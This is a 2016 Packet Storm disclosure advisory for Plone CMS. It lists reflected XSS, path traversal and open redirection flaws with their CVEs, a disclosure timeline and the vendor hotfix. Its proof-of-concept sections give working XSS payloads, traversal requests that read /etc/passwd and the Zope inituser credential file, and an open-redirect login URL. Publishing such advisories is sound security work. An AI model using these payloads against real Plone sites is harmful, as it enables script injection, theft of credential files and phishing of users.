Plone CMS 4.3.11 / 5.0.6 XSS / Traversal / Open Redirection

2016-10-12T00:00:00
ID PACKETSTORM:139110
Type packetstorm
Reporter Sebastian Perez
Modified 2016-10-12T00:00:00

Description

                                        
                                            `[Product Description]  
Plone is a free and open source content management system built on  
top of the Zope application server. Plone is positioned as an  
"Enterprise CMS" and is most commonly used for intranets and as part  
of the web presence of large organizations  
  
  
[Systems Affected]  
Product : Plone  
Version : All supported Plone versions (4.3.11 and any earlier 4.x  
version, 5.0.6 and any earlier 5.x version). Previous versions could  
be affected but have not been fully tested.  
  
  
[Vulnerabilities]  
3 vulnerabilities were identified within this application:  
(1) Reflected XSS (CVE-2016-7136 / CVE-2016-7138 / CVE-2016-7139 /  
CVE-2016-7140)  
(2) Path Traversal (CVE-2016-7135)  
(3) Open Redirection (CVE-2016-7137)  
  
  
[Advisory Timeline]  
18/07/2016 - Discovery and vendor notification  
18/07/2016 - Vendor confirmed vulnerabilities and started working  
on the fixes  
30/08/2016 - Patch published by vendor  
12/10/2016 - Public disclosure  
  
  
[Patch Available]  
According to the vendor, apply the hotfix 20160830  
https://plone.org/security/hotfix/20160830  
  
  
[Description of Vulnerabilities]  
  
(1) Reflected XSS  
Several Reflected Cross-Site Scripting were found within the  
application. Except the first two instances, all the other instances  
are only accessible by the "admin" user  
  
[Vulnerable URLs and parameters]  
<Plone Server>/Plone/login_form [next parameter]  
<Plone Server>/Plone/@@confirm-action [original_url  
parameter] ***See note 1***  
<Plone Server>/Plone/@@filter-controlpanel  
[form.widgets.class_blacklist parameter]  
<Plone Server>/Plone/@@filter-controlpanel  
[form.widgets.custom_tags parameter]  
<Plone Server>/Plone/@@filter-controlpanel  
[form.widgets.nasty_tags parameter]  
<Plone Server>/Plone/@@filter-controlpanel  
[form.widgets.stripped_attributes parameter]  
<Plone Server>/Plone/@@filter-controlpanel  
[form.widgets.stripped_tags parameter]  
<Plone Server>/Plone/@@tinymce-controlpanel  
[form.widgets.alignment_styles parameter]  
<Plone Server>/Plone/@@tinymce-controlpanel  
[form.widgets.block_styles parameter]  
<Plone Server>/Plone/@@tinymce-controlpanel  
[form.widgets.contains_objects parameter]  
<Plone Server>/Plone/@@tinymce-controlpanel  
[form.widgets.content_css parameter]  
<Plone Server>/Plone/@@tinymce-controlpanel  
[form.widgets.header_styles parameter]  
<Plone Server>/Plone/@@tinymce-controlpanel  
[form.widgets.image_objects parameter]  
<Plone Server>/Plone/@@tinymce-controlpanel  
[form.widgets.inline_styles parameter]  
<Plone Server>/Plone/@@tinymce-controlpanel  
[form.widgets.libraries_atd_ignore_strings parameter]  
<Plone Server>/Plone/@@tinymce-controlpanel  
[form.widgets.libraries_atd_show_types parameter]  
<Plone Server>/Plone/@@tinymce-controlpanel  
[form.widgets.menubar parameter]  
<Plone Server>/Plone/@@tinymce-controlpanel  
[form.widgets.table_styles parameter]  
<Plone Server>/Plone/@@user-information [userid parameter]  
<Plone Server>/Plone/@@navigation-controlpanel  
[form.widgets.parent_types_not_to_query parameter]  
  
  
[References]  
CVE-2016-7136  
https://plone.org/security/hotfix/20160830/non-persistent-xss-in-plone-forms  
CVE-2016-7138  
https://plone.org/security/hotfix/20160830/non-persistent-xss-in-plone-1  
CVE-2016-7139  
https://plone.org/security/hotfix/20160830/non-persistent-xss-in-plone  
CVE-2016-7140  
https://plone.org/security/hotfix/20160830/non-persistent-xss-in-zope2  
  
  
[Proof Of Concept]  
- <Plone  
Server>/Plone/login_form?next=jaVascrIpt%3aalert(1)%2f%2f  
- <Plone  
Server>/Plone/@@filter-controlpanel?form.widgets.class_blacklist=</textarea><script>alert("form.widgets.class_blacklist")</script>  
- <Plone  
Server>/Plone/@@user-information?userid=admin<script>alert("userid")</script>  
  
[Notes]  
Note 1 - The javascript code is executed when the  
"Confirm" button is clicked  
  
  
(2) Path Traversal  
A Path traversal vulnerability was found within the application  
that allows to browse filesystem files using the permissions of the  
user who is running the service. The resource is only accessible by  
the "admin" user  
  
[Vulnerable URLs and parameters]  
<Plone  
Server>/Plone/++theme++barceloneta/@@plone.resourceeditor.filemanager-actions  
[path parameter]  
  
[References]  
CVE-2016-7135  
https://plone.org/security/hotfix/20160830/filesystem-information-leak  
  
[Proof Of Concept]  
- <Plone  
Server>/Plone/++theme++barceloneta/@@plone.resourceeditor.filemanager-actions?&action=getFile&path=/../../../../../../../../../etc/passwd  
- <Plone  
Server>/Plone/++theme++barceloneta/@@plone.resourceeditor.filemanager-actions?&action=getFile&path=/../../../../../../../../../var/www/html/zinstance/parts/instance/inituser  
  
  
(3) Open Redirection  
3 Instances of an open redirection were found within the  
application, allowing any user to be redirected to an external website  
(such as a phishing website) and therefore steal the user's  
credentials  
  
[Vulnerable URLs and parameters]  
<Plone  
Server>/Plone/%2b%2bgroupdashboard%2b%2bplone.dashboard1%2bgroup/%2b/portlets.Actions  
[referer parameter]  
<Plone  
Server>/Plone/folder/%2b%2bcontextportlets%2b%2bplone.footerportlets/%2b/portlets.Actions  
[referer parameter]  
<Plone Server>/Plone/login_form [came_from parameter]  
  
[References]  
CVE-2016-7137  
https://plone.org/security/hotfix/20160830/open-redirection-in-plone  
  
[Proof Of Concept]  
- <Plone  
Server>/Plone/login_form?came_from=\\www.google.com/a?<Plone  
Server>/Plone/folder_contents&next=&ajax_load=&ajax_include_head=&target=&mail_password_url=&join_url=&form.submitted=1&js_enabled=0&cookies_enabled=&login_name=&pwd_empty=0&__ac_name=admin&__ac_password=&submit=Log+in  
  
  
  
S3ba  
@s3bap3  
linkedin.com/in/s3bap3  
`